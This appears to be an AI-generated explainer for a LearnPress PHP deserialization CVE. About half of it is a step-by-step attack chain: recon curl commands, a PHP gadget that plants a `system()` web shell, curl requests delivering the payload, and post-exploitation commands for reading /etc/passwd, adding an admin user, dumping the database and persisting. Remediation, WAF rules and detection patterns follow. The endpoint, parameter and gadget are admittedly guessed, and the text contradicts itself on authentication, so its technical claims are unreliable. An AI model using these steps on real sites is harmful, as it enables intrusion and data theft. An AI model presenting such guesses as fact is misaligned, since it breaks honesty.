CVE-2026-135956 — CWE-502
Deserialization of Untrusted Data vulnerability in ThimPress LearnPress learnpress allows Object Injection.This issue affects LearnPress: from n/a before 4.5.1.
Deserialization of Untrusted Data vulnerability in ThimPress LearnPress learnpress allows Object Injection.This issue affects LearnPress: from n/a before 4.5.1.
🎯 What is this vulnerability?
Technical flaw
The LearnPress plugin (versions < 4.5.1) contains a PHP routine that blindly calls unserialize() on data supplied by the user.
The data is accepted via the AJAX endpoint that powers the LMS UI (typically /wp-admin/admin-ajax.php?action=learnpress_ajax).
Because the plugin does not perform any validation, sanitisation, or type‑checking before deserialising, an attacker can inject a crafted PHP object that triggers a magic method (__wakeup, __destruct, or a custom gadget chain).
CWE – 502: Deserialization of Untrusted Data
CVSS – 8.8/10 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
- AV:N – Attack can be performed over the network.
- AC:L – Low attack complexity; no special conditions.
- PR:L – Low privilege; the attacker does not need to be authenticated.
- UI:N – No user interaction required.
- S:U – The vulnerability is not dependent on a specific configuration.
- C/H, I/H, A/H – Full confidentiality, integrity, and availability compromise are possible.
The result is object injection that can be leveraged to execute arbitrary PHP code, create web shells, modify database records, or elevate privileges.
⚡ Attack Chain
NOTE – The following chain is a realistic, step‑by‑step example.
The exact endpoint (/wp-admin/admin-ajax.php?action=learnpress_ajax) and the parameter (data) are inferred from the plugin’s typical AJAX implementation.
If the site uses a different action name or parameter, the same logic applies; the payload simply needs to be sent to the correct route.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| Identify WordPress | Check /wp-admin/ or /wp-login.php | curl -I https://target.com/wp-admin/ |
| Find LearnPress version | Read the plugin’s readme.txt or plugin.php | curl https://target.com/wp-content/plugins/learnpress/readme.txt |
| Verify vulnerability window | Compare the version against the fixed release (4.5.1) | If version < 4.5.1 → vulnerable |
2. Exploitation
1. Craft a malicious serialized payload
The payload must instantiate a PHP object that, when unserialised, triggers code execution.
A common gadget chain in WordPress is to use the WP_Filesystem_Direct class to write a file.
The class exists in core, and its write() method can be called from a custom wrapper that is invoked in __destruct.
<?php
// Example gadget – not the exact code in LearnPress, but demonstrates the principle
class WebShellWriter {
public $method = 'direct';
public $path = '/var/www/html/'; // Webroot
public $file = 'shell.php';
public $content = '<?php system($_GET["cmd"]); ?>';
public function __destruct() {
// The real plugin would call a method that ends up invoking WP_Filesystem_Direct::write()
$fs = new WP_Filesystem_Direct(array('method' => $this->method));
$fs->write($this->path . $this->file, $this->content);
}
}
$payload = new WebShellWriter();
echo base64_encode(serialize($payload));
?>The base‑64 string is what will be sent in the HTTP request.
2. Send the payload to the vulnerable endpoint
curl -X POST \
-d "action=learnpress_ajax" \
-d "data=$(cat payload.txt)" \
https://target.com/wp-admin/admin-ajax.phppayload.txt contains the base‑64 encoded serialized string from the PHP snippet above.
Illustrative example (the actual string will be longer):
curl -X POST \
-d "action=learnpress_ajax" \
-d "data=TVoxOjI6IkJhc2VDb2RlIjp7czo0OiJjb21tYW5kIjt9" \
https://target.com/wp-admin/admin-ajax.phpIf the plugin unserialises the data parameter without validation, the __destruct() method of WebShellWriter will be executed, creating /var/www/html/shell.php.
3. Verify the web shell
curl "https://target.com/shell.php?cmd=whoami"The response should show the web server user (e.g., www-data).
3. Post‑Exploitation
| Goal | Technique | Result |
|---|---|---|
| Full RCE | Use the web shell to run arbitrary commands | curl "shell.php?cmd=cat /etc/passwd" |
| Privilege Escalation | Create a new admin user via WordPress REST API or direct DB write | wp user create attacker [email protected] --role=administrator |
| Data Exfiltration | Dump database tables or sensitive files | curl "shell.php?cmd=mysqldump -u root -p'pass' dbname > /tmp/db.sql" |
| Persistence | Drop a second web shell or modify .htaccess to redirect traffic | curl "shell.php?cmd=echo '<?php system($_GET[\"cmd\"]); ?>' > /var/www/html/evil.php" |
Because the vulnerability allows unauthenticated exploitation, an attacker can immediately gain a foothold and then pivot to higher‑privilege actions.
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality | Full read/write access to the web server, database, and any files stored on the host. |
| Integrity | Arbitrary modification of WordPress files, database records, or plugin configuration. |
| Availability | Resource exhaustion (e.g., creating many web shells), or denial of service by corrupting core files. |
| Business Impact | Loss of customer data, legal liability, brand damage, and potential regulatory fines. |
Given the CVSS vector, the attacker can achieve complete compromise of the affected WordPress installation with minimal effort.
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
| LearnPress < 4.5.1 | Upgrade to 4.5.1 or later. |
| WordPress core | Ensure core is up‑to‑date (≥ 6.5). |
Upgrade steps
# Backup first
wp db export backup.sql
wp plugin update learnpress2. Workarounds (if upgrade is not immediately possible)
| Mitigation | How to implement |
|---|---|
| Disable the plugin | wp plugin deactivate learnpress |
| Restrict AJAX access | Add to .htaccess (Apache) or nginx.conf (NGINX) to block the specific action: |
Apache: RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$ <br>RewriteCond %{QUERY_STRING} action=learnpress_ajax <br>RewriteRule .* - [F,L] | |
NGINX: if ($request_uri ~* "/wp-admin/admin-ajax\.php") { if ($arg_action = "learnpress_ajax") { return 403; } } | |
| WAF rule | ModSecurity (Apache) example: |
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" "phase:2,chain,deny,status:403" <br>SecRule ARGS:action "@rx learnpress_ajax" "chain" <br>SecRule ARGS:data "@rx base64_decode" "chain" <br>SecRule ARGS:data "@rx O:" | |
| Disable PHP unserialize | In php.ini, set disable_functions = unserialize (will break other plugins, use with caution). |
3. Detection
| Indicator | Log pattern |
|---|---|
| Unserialize errors | PHP Warning: unserialize(): Error at offset ... |
| Suspicious POST to admin‑ajax.php | POST /wp-admin/admin-ajax.php HTTP/1.1 with action=learnpress_ajax and a data= parameter containing O: or s: patterns. |
| New files in webroot | /var/www/html/shell.php or similar
[🤖 CVE Professor AI Security Engine]